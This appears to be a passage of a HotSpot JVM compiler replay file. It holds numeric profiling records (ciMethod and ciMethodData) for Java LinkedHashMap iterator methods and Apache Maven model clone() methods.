0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 242 0 0 0 9 174 0 0 193 168 1 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 30 0 2 0 0 0 0 0 0 0 88 3 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 118 0x10005 0x1f 0x0 0x209f36e71e0 0x2a8 0x209f05aef10 0x12fa 0x80007 0xd1 0x320 0x14f0 0xf0007 0x26 0xa0 0x14ca 0x220007 0x0 0x38 0x14ca 0x280003 0x14ca 0x18 0x350007 0x0 0x30 0x14ca 0x3b0002 0x14ca 0x410003 0x14ca 0x70 0x490007 0x1b 0x58 0xb 0x4d0005 0xb 0x0 0x0 0x0 0x0 0x0 0x520005 0x14 0x0 0x209f36e71e0 0x1e2 0x209f05aef10 0x12fa 0x570005 0x14 0x0 0x209f5730880 0x1e2 0x209f5730930 0x12fa 0x600005 0xd5 0x0 0x209f57309e0 0x92d 0x209f5730a90 0x4006 0x650007 0x14f0 0x160 0x3518 0x6a0005 0xc1 0x0 0x209f57309e0 0x74b 0x209f5730a90 0x2d0c 0x6f0004 0x0 0x0 0x209f2d22490 0x74b 0x209ec2384e0 0x2d0c 0x760005 0xc1 0x0 0x209f2d22490 0x74b 0x209ec2384e0 0x2d0c 0x7f0005 0xc1 0x0 0x209f2d22490 0x74b 0x209ec2384e0 0x2d0c 0x890002 0x3518 0x920005 0x3518 0x0 0x0 0x0 0x0 0x0 0x960003 0x3518 0xfffffffffffffe80 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x0 0x0 0x0 oops 16 3 java/util/HashMap 5 java/util/LinkedHashMap 45 java/util/HashMap 47 java/util/LinkedHashMap 52 java/util/HashMap$EntrySet 54 java/util/LinkedHashMap$LinkedEntrySet 59 java/util/HashMap$EntryIterator 61 java/util/LinkedHashMap$LinkedEntryIterator 70 java/util/HashMap$EntryIterator 72 java/util/LinkedHashMap$LinkedEntryIterator 77 java/util/HashMap$Node 79 java/util/LinkedHashMap$Entry 84 java/util/HashMap$Node 86 java/util/LinkedHashMap$Entry 91 java/util/HashMap$Node 93 java/util/LinkedHashMap$Entry methods 0\nciMethodData java/util/LinkedHashMap$LinkedValues iterator ()Ljava/util/Iterator; 2 5383 orig 320 144 166 185 254 252 127 0 0 96 113 25 224 9 2 0 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 49 160 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 8 0 0 0 0 0 data 9 0x80002 0x1406 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/LinkedHashMap$LinkedValueIterator <init> (Ljava/util/LinkedHashMap;)V 2 5383 orig 320 144 166 185 254 252 127 0 0 64 122 25 224 9 2 0 0 136 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 49 160 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 7 0 0 0 0 0 data 10 0x70002 0x1406 0x0 0x0 0x0 0x0 0x9 0x2 0x1e 0x0 oops 0 methods 0\nciMethodData java/util/LinkedHashMap values ()Ljava/util/Collection; 2 8367 orig 320 144 166 185 254 252 127 0 0 184 34 214 223 9 2 0 0 176 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 113 253 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 48 0 0 0 254 255 255 255 7 0 6 0 0 0 0 0 data 15 0x60007 0x57d 0x30 0x1a31 0xe0002 0x1a31 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/LinkedHashMap$LinkedValues <init> (Ljava/util/LinkedHashMap;)V 2 6856 orig 320 144 166 185 254 252 127 0 0 72 111 25 224 9 2 0 0 136 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 151 0 0 0 137 209 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 6 0 0 0 0 0 data 10 0x60002 0x1a31 0x0 0x0 0x0 0x0 0x9 0x2 0x6 0x0 oops 0 methods 0\nciMethodData java/util/LinkedHashMap$LinkedValueIterator next ()Ljava/lang/Object; 2 5700 orig 320 144 166 185 254 252 127 0 0 240 122 25 224 9 2 0 0 184 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 33 170 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 16 0x10005 0x1544 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod org/apache/maven/model/ModelBase clone ()Lorg/apache/maven/model/ModelBase; 2065 2457 6749 0 -1\nciMethod org/apache/maven/model/Dependency clone ()Lorg/apache/maven/model/Dependency; 2185 1 6097 0 -1\nciMethod org/apache/maven/model/Plugin clone ()Lorg/apache/maven/model/Plugin; 2081 705 7637 0 -1\nciMethod org/apache/maven/model/Repository clone ()Lorg/apache/maven/model/Repository; 2065 1 3880 0 -1\nciMethod org/apache/maven/model/PluginContainer clone ()Lorg/apache/maven/model/PluginContainer; 2113 5393 4443 0 3680\nciMethod org/apache/maven/model/BuildBase clone ()Lorg/apache/maven/model/BuildBase; 2065 897 5834 0 0\nciMethod org/apache/maven/model/PluginConfiguration clone ()Lorg/apache/maven/model/PluginConfiguration; 2065 1 5834 0 0\nciMethod org/apache/maven/model/PluginManagement clone ()Lorg/apache/maven/model/PluginManagement; 553 1 1852 0 0\nciMethod org/apache/maven/model/Reporting clone ()Lorg/apache/maven/model/Reporting; 417 113 1627 0 -1\nciMethod org/apache/maven/model/Profile clone ()Lorg/apache/maven/model/Profile; 2057 1 5631 0 -1\nciMethod org/apache/maven/model/ActivationProperty clone ()Lorg/apache/maven/model/ActivationProperty; 2049 1 1827 0 0\nciMethod org/apache/maven/model/Activation clone ()Lorg/apache/maven/model/Activation; 1561 1 2610 0 0\nciMethod org/apache/maven/model/ActivationFile clone ()Lorg/apache/maven/model/ActivationFile; 313 1 420 0 0\nciMethod org/apache/maven/model/ActivationOS clone ()Lorg/apache/maven/model/ActivationOS; 193 1 24 0 0\nciMethod org/apache/maven/model/PatternSet clone ()Lorg/apache/maven/model/PatternSet; 2049 1 1562 0 0\nciMethod org/apache/maven/model/FileSet clone ()Lorg/apache/maven/model/FileSet; 1921 1 1562 0 0\nciMethod org/apache/maven/model/Resource clone ()Lorg/apache/maven/model/Resource; 897 1 1560 0 0\nciMethod org/apache/maven/model/DependencyManagement clone ()Lorg/apache/maven/model/DependencyManagement; 441 30993 728 0 -1\nciMethod org/apache/maven/model/DistributionManagement clone ()Lorg/apache/maven/model/DistributionManagement; 465 1 1055 0 -1\nciMethod org/apache/maven/model/merge/ModelMerger$MergingList iterator ()Ljava/util/Iterator; 2057 1 2737 0 0\nciMethodData org/apache/maven/model/PluginContainer clone ()Lorg/apache/maven/model/PluginContainer; 2 13449 orig 320 144 166 185 254 252 127 0 0 120 103 145 235 9 2 0 0 88 5 0 0 32 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 160 2 0 0 153 130 0 0 57 143 1 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 23 0 2 0 0 0 0 0 0 0 216 3 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 132 0x10002 0x1053 0x40004 0x0 0x0 0x209f31bb5c0 0x85e 0x209eacacee0 0x3f5 0xc0007 0x2d4 0x1b8 0xd7f 0x140002 0xd7f 0x1e0005 0x0 0x0 0x209f05afbc0 0xd7f 0x0 0x0 0x250005 0x0 0x0 0x209eacad040 0x3f65 0x0 0x0 0x2a0007 0xd7f 0x118 0x31e6 0x2e0005 0x0 0x0 0x209eacad040 0x31e6 0x0 0x0 0x330004 0x0 0x0 0x209e9f78c50 0x31e6 0x0 0x0 0x3c0005 0x0 0x0 0x209e9f78c50 0x31e6 0x0 0x0 0x3f0005 0x0 0x0 0x209f05afbc0 0x31e6 0x0 0x0 0x450003 0x31e6 0xfffffffffffffec8 0x4c0007 0xe95 0x30 0x1be 0x580002 0x1be 0x690002 0x0 0x6d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x700005 0x0 0x0 0x0 0x0 0x0 0x0 0x730005 0x0 0x0 0x0 0x0 0x0 0x0 0x780005 0x0 0x0 0x0 0x0 0x0 0x0 0x7b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x7e0002 0x0 0x820005 0x0 0x0 0x0 0x0 0x0 0x0 0x850004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0xffffffffffffffff oops 8 5 org/apache/maven/model/BuildBase 7 org/apache/maven/model/Build 18 java/util/ArrayList 25 java/util/ArrayList$Itr 36 java/util/ArrayList$Itr 43 org/apache/maven/model/Plugin 50 org/apache/maven/model/Plugin 57 java/util/ArrayList methods 0\nciMethodData org/apache/maven/model/ModelBase clone ()Lorg/apache/maven/model/ModelBase; 2 6749 orig 320 144 166 185 254 252 127 0 0 160 195 127 235 9 2 0 0 152 11 0 0 248 7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 1 0 0 217 202 0 0 217 113 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 3 0 58 0 2 0 0 0 0 0 0 0 176 9 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 332 0x10002 0x195b 0x40004 0x0 0x0 0x209f31bae60 0x127e 0x209e0ddbbf0 0x6dd 0xc0007 0x17c2 0x68 0x199 0x140002 0x199 0x220005 0x0 0x0 0x209f05afbc0 0x199 0x0 0x0 0x2c0007 0x1576 0x58 0x3e5 0x340005 0x0 0x0 0x209f31c16b0 0x3e5 0x0 0x0 0x3e0007 0x12f3 0x90 0x668 0x460005 0x0 0x0 0x209e04eaf70 0x668 0x0 0x0 0x490004 0x0 0x0 0x0 0x0 0x0 0x0 0x530007 0x1762 0x58 0x1f9 0x5b0005 0x0 0x0 0x209f31c20e0 0x1f9 0x0 0x0 0x650007 0x17a5 0x1b8 0x1b6 0x6d0002 0x1b6 0x770005 0x0 0x0 0x209f05afbc0 0x1b6 0x0 0x0 0x7e0005 0x0 0x0 0x209eacad040 0x6d8 0x0 0x0 0x830007 0x1b6 0x118 0x522 0x870005 0x0 0x0 0x209eacad040 0x522 0x0 0x0 0x8c0004 0x0 0x0 0x209f05b1fc0 0x522 0x0 0x0 0x950005 0x0 0x0 0x209f05b1fc0 0x522 0x0 0x0 0x980005 0x0 0x0 0x209f05afbc0 0x522 0x0 0x0 0x9e0003 0x522 0xfffffffffffffec8 0xa50007 0x14f8 0x1b8 0x463 0xad0002 0x463 0xb70005 0x0 0x0 0x209f05afbc0 0x463 0x0 0x0 0xbe0005 0x0 0x0 0x209eacad040 0x99d 0x0 0x0 0xc30007 0x463 0x118 0x53a 0xc70005 0x0 0x0 0x209eacad040 0x53a 0x0 0x0 0xcc0004 0x0 0x0 0x209f05b1030 0x53a 0x0 0x0 0xd50005 0x0 0x0 0x209f05b1030 0x53a 0x0 0x0 0xd80005 0x0 0x0 0x209f05afbc0 0x53a 0x0 0x0 0xde0003 0x53a 0xfffffffffffffec8 0xe50007 0x160c 0x1b8 0x34f 0xed0002 0x34f 0xf70005 0x0 0x0 0x209f05afbc0 0x34f 0x0 0x0 0xfe0005 0x0 0x0 0x209eacad040 0x72e 0x0 0x0 0x1030007 0x34f 0x118 0x3df 0x1070005 0x0 0x0 0x209eacad040 0x3df 0x0 0x0 0x10c0004 0x0 0x0 0x209f05b1030 0x3df 0x0 0x0 0x1150005 0x0 0x0 0x209f05b1030 0x3df 0x0 0x0 0x1180005 0x0 0x0 0x209f05afbc0 0x3df 0x0 0x0 0x11e0003 0x3df 0xfffffffffffffec8 0x1250007 0x195b 0x68 0x0 0x1310004 0x0 0x0 0x0 0x0 0x0 0x0 0x1340002 0x0 0x13e0007 0x1333 0x58 0x628 0x1460005 0x0 0x0 0x209f05ae250 0x628 0x0 0x0 0x1500007 0x1190 0x30 0x7cb 0x15c0002 0x7cb 0x16d0002 0x0 0x1710005 0x0 0x0 0x0 0x0 0x0 0x0 0x1740005 0x0 0x0 0x0 0x0 0x0 0x0 0x1770005 0x0 0x0 0x0 0x0 0x0 0x0 0x17c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x17f0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1820002 0x0 0x1860005 0x0 0x0 0x0 0x0 0x0 0x0 0x1890004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 25 5 org/apache/maven/model/Profile 7 org/apache/maven/model/Model 18 java/util/ArrayList 29 org/apache/maven/model/DistributionManagement 40 java/util/Properties 58 org/apache/maven/model/DependencyManagement 71 java/util/ArrayList 78 java/util/ArrayList$Itr 89 java/util/ArrayList$Itr 96 org/apache/maven/model/Dependency 103 org/apache/maven/model/Dependency 110 java/util/ArrayList 126 java/util/ArrayList 133 java/util/ArrayList$Itr 144 java/util/ArrayList$Itr 151 org/apache/maven/model/Repository 158 org/apache/maven/model/Repository 165 java/util/ArrayList 181 java/util/ArrayList 188 java/util/ArrayList$Itr 199 java/util/ArrayList$Itr 206 org/apache/maven/model/Repository 213 org/apache/maven/model/Repository 220 java/util/ArrayList 247 org/apache/maven/model/Reporting methods 0\nciMethodData org/apache/maven/model/PluginConfiguration clone ()Lorg/apache/maven/model/PluginConfiguration; 2 5834 orig 320 144 166 185 254 252 127 0 0 64 169 145 235 9 2 0 0 200 3 0 0 104 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 1 0 0 65 174 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 17 0 2 0 0 0 0 0 0 0 72 2 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 82 0x10002 0x15c8 0x40004 0x0 0x0 0x209f31bb5c0 0xef8 0x209eacacee0 0x6d0 0xc0007 0xed1 0x58 0x6f7 0x140005 0x0 0x0 0x209e9f75100 0x6f7 0x0 0x0 0x250002 0x0 0x290005 0x0 0x0 0x0 0x0 0x0 0x0 0x2c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x2f0005 0x0 0x0 0x0 0x0 0x0 0x0 0x340005 0x0 0x0 0x0 0x0 0x0 0x0 0x370005 0x0 0x0 0x0 0x0 0x0 0x0 0x3a0002 0x0 0x3e0005 0x0 0x0 0x0 0x0 0x0 0x0 0x410004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 3 5 org/apache/maven/model/BuildBase 7 org/apache/maven/model/Build 16 org/apache/maven/model/PluginManagement methods 0\nciMethodData org/apache/maven/model/BuildBase clone ()Lorg/apache/maven/model/BuildBase; 2 5834 orig 320 144 166 185 254 252 127 0 0 64 149 145 235 9 2 0 0 88 7 0 0 232 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 1 0 0 65 174 0 0 65 45 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 2 0 29 0 2 0 0 0 0 0 0 0 200 5 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 196 0x10002 0x15c8 0x40004 0x0 0x0 0x209f31bb5c0 0xef8 0x209eacacee0 0x6d0 0xc0007 0x12f1 0x1b8 0x2d7 0x140002 0x2d7 0x1e0005 0x0 0x0 0x209f05afbc0 0x2d5 0x209eacacf90 0x2 0x250005 0x0 0x0 0x209eacad040 0x5b8 0x209eacad0f0 0x4 0x2a0007 0x2d7 0x118 0x2e5 0x2e0005 0x0 0x0 0x209eacad040 0x2e3 0x209eacad0f0 0x2 0x330004 0x0 0x0 0x209eaca9990 0x2e5 0x0 0x0 0x3c0005 0x0 0x0 0x209eaca9990 0x2e5 0x0 0x0 0x3f0005 0x0 0x0 0x209f05afbc0 0x2e5 0x0 0x0 0x450003 0x2e5 0xfffffffffffffec8 0x4c0007 0x130c 0x1b8 0x2bc 0x540002 0x2bc 0x5e0005 0x0 0x0 0x209f05afbc0 0x2ba 0x209eacacf90 0x2 0x650005 0x0 0x0 0x209eacad040 0x57b 0x209eacad0f0 0x4 0x6a0007 0x2bc 0x118 0x2c3 0x6e0005 0x0 0x0 0x209eacad040 0x2c1 0x209eacad0f0 0x2 0x730004 0x0 0x0 0x209eaca9990 0x2c3 0x0 0x0 0x7c0005 0x0 0x0 0x209eaca9990 0x2c3 0x0 0x0 0x7f0005 0x0 0x0 0x209f05afbc0 0x2c3 0x0 0x0 0x850003 0x2c3 0xfffffffffffffec8 0x8c0007 0x15b5 0x68 0x13 0x940002 0x13 0xa20005 0x0 0x0 0x209f05afbc0 0x13 0x0 0x0 0xb30002 0x0 0xb70005 0x0 0x0 0x0 0x0 0x0 0x0 0xba0005 0x0 0x0 0x0 0x0 0x0 0x0 0xbd0005 0x0 0x0 0x0 0x0 0x0 0x0 0xc20005 0x0 0x0 0x0 0x0 0x0 0x0 0xc50005 0x0 0x0 0x0 0x0 0x0 0x0 0xc80002 0x0 0xcc0005 0x0 0x0 0x0 0x0 0x0 0x0 0xcf0004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 21 5 org/apache/maven/model/BuildBase 7 org/apache/maven/model/Build 18 java/util/ArrayList 20 org/apache/maven/model/merge/ModelMerger$MergingList 25 java/util/ArrayList$Itr 27 java/util/LinkedHashMap$LinkedValueIterator 36 java/util/ArrayList$Itr 38 java/util/LinkedHashMap$LinkedValueIterator 43 org/apache/maven/model/Resource 50 org/apache/maven/model/Resource 57 java/util/ArrayList 73 java/util/ArrayList 75 org/apache/maven/model/merge/ModelMerger$MergingList 80 java/util/ArrayList$Itr 82 java/util/LinkedHashMap$LinkedValueIterator 91 java/util/ArrayList$Itr 93 java/util/LinkedHashMap$LinkedValueIterator 98 org/apache/maven/model/Resource 105 org/apache/maven/model/Resource 112 java/util/ArrayList 128 java/util/ArrayList methods 0\nciMethodData org/apache/maven/model/PluginManagement clone ()Lorg/apache/maven/model/PluginManagement; 2 1853 orig 320 144 166 185 254 252 127 0 0 104 178 145 235 9 2 0 0 112 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 69 0 0 0 193 55 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 14 0 2 0 0 0 0 0 0 0 240 1 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 71 0x10002 0x6f8 0x40004 0x0 0x0 0x209e9f75100 0x6f8 0x0 0x0 0x130002 0x0 0x170005 0x0 0x0 0x0 0x0 0x0 0x0 0x1a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x220005 0x0 0x0 0x0 0x0 0x0 0x0 0x250005 0x0 0x0 0x0 0x0 0x0 0x0 0x280002 0x0 0x2c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x2f0004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 1 5 org/apache/maven/model/PluginManagement methods 0\nciMethodData org/apache/maven/model/Resource clone ()Lorg/apache/maven/model/Resource; 2 1562 orig 320 144 166 185 254 252 127 0 0 40 18 192 235 9 2 0 0 112 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 